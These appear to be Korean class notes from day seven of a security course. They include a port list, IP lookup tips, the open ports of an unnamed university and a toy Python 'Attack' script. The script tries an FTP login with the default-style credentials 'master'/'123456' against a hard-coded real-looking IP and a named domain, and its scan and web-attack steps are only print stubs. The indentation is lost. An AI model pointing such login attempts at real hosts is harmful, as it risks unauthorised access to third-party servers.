7일차
fimdip.kr : 진짜 ip 찿기
125.246.95.152
21 : FTP서비스 서버 업로드하는 기능
대학교 열려있는 포트 : 80,4443,8080
마우스 좌클 > 페이지 소스보기
21 : ftp
80 : http
22 : ssh
23 : telnet
D:
dir
cd 2025_py
python Attack.py
pip install requests beatifulsoup4
pip install bs4
pip install requests
from ftplib import FTP, error_perm, error_temp, error_reply
import socket
class Attack:
target=""
ports=[]
def __init__(self,target):
ports= [21,22,23,25,53,80,110,143,443,3306,5600]
self.target=target
def scan(self):
ports=[21,80]
print("scan sart")
print("scaning ......")
print("end scan")
return ports
def main():
target="virtual.inzerone.co.kr"
attack1 = Attack(target) #!!
print(attack1.scan())
for port in attack1.scan():
print(port)
if port == 21:
print("atack ftp")
try:
#에러가 발생할 수 있는 가능성이 있는곳!!
ftp = FTP()
print("start program")
ftp.connect('125.240.93.27',21)
print("서버에 연결되었습니다.")
ftp.login('master','123456')
print("ftp 로그인 성공")
except (socket.error, socket.gaierror) as e:
print(f"FTP 서버 연결 오류: {e}")
except error_perm as e:
print(f"권한 오류: {e}")
except error_temp as e:
print(f"임시 오류: {e}")
except error_reply as e:
print(f"서버 응답 오류: {e}")
except Exception as e:
print(f"기타 예외 발생: {e}")
else:
ftp.quit()
print("FTP 연결 종료.")
if port == 80:
print("웹공격시작")
print("웹공격진행중...")
print("웹공격종료")
if __name__ == "__main__":
main()